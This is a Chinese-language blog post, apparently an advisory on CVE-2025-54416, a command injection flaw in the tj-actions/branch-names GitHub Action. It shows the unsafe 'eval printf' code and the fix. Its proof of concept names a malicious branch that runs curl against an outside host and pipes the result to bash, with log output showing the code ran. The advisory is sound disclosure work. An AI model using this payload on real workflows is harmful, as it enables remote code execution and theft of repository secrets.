GitHub Action 分支名漏洞:命令注入风险解析

文章详细披露了 tj-actions/branch-names GitHub Action 中存在的严重命令注入漏洞(CVE-2025-54416)。该漏洞源于不安全使用 eval printf 处理输出,允许攻击者通过恶意分支名在消费该 Action 输出的下游工作流中执行任意命令,可能导致敏感信息泄露或仓库被未授权访问。

漏洞概述

在 tj-actions/branch-names GitHub Action 中发现了一个严重漏洞,允许在下游工作流中执行任意命令。此问题源于输入清理的不一致性和未转义的输出,使恶意攻击者能够利用特制的分支名或标签。尽管已实施内部清理机制,但该 Action 的输出仍然存在安全风险,使消费其输出的工作流程面临重大安全威胁。

技术细节

该漏洞源于 Action 代码库中不安全地使用了 eval printf "%s" 模式。虽然初始使用 printf "%q" 进行清理可以正确转义不受信任的输入,但随后通过 eval printf "%s" 进行的反转义操作重新引入了命令注入风险。以下代码片段演示了这种不安全的模式:

1
2
3
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

这种方法允许攻击者将任意命令注入到消费这些输出的工作流中,如下方概念验证所示。

概念验证

  1. 创建一个名为 $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash) 的分支。
  2. 向目标仓库发起拉取请求,触发存在漏洞的工作流。
  3. 在工作流日志中观察任意代码执行。

示例输出:

1
2
3
4
5
6
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner

影响

此漏洞允许在消费 tj-actions/branch-names 输出的仓库中执行任意命令。影响严重程度取决于授予 GITHUB_TOKEN 的权限和触发事件的上下文。潜在后果包括:

  • 窃取存储在仓库中的敏感密钥。
  • 获得对仓库的未授权写入权限。
  • 损害仓库的完整性和安全性。

缓解与修复

为了解决此漏洞,必须用更安全的替代方案替换不安全的 eval printf "%s" 模式。具体而言,直接的 printf 调用可以实现相同的功能,而无需反转义对 Shell 不安全的字符。以下是推荐的修复方法:

1
2
3
4
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

这种方法确保所有输出保持正确转义,对下游消费是安全的。

建议

立即行动:使用 tj-actions/branch-names 工作流的开发者应将其工作流更新至最新的主版本 v9。

参考

  • GitHub Actions 安全指南
  • 如何保护 GitHub Actions 工作流
  • 相关漏洞:GHSA-mcph-m25j-8j63
  • 模板注入公告:GHSA-8v8w-v8xg-79rf

漏洞信息

  • CVE ID: CVE-2025-54416
  • GHSA ID: GHSA-gq52-6phf-x2r6
  • 受影响版本: <= 8.2.1
  • 已修复版本: 9.0.0
  • 严重等级: 严重 (CVSS 评分 9.1)
  • 弱点类型: CWE-77 (命令注入)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计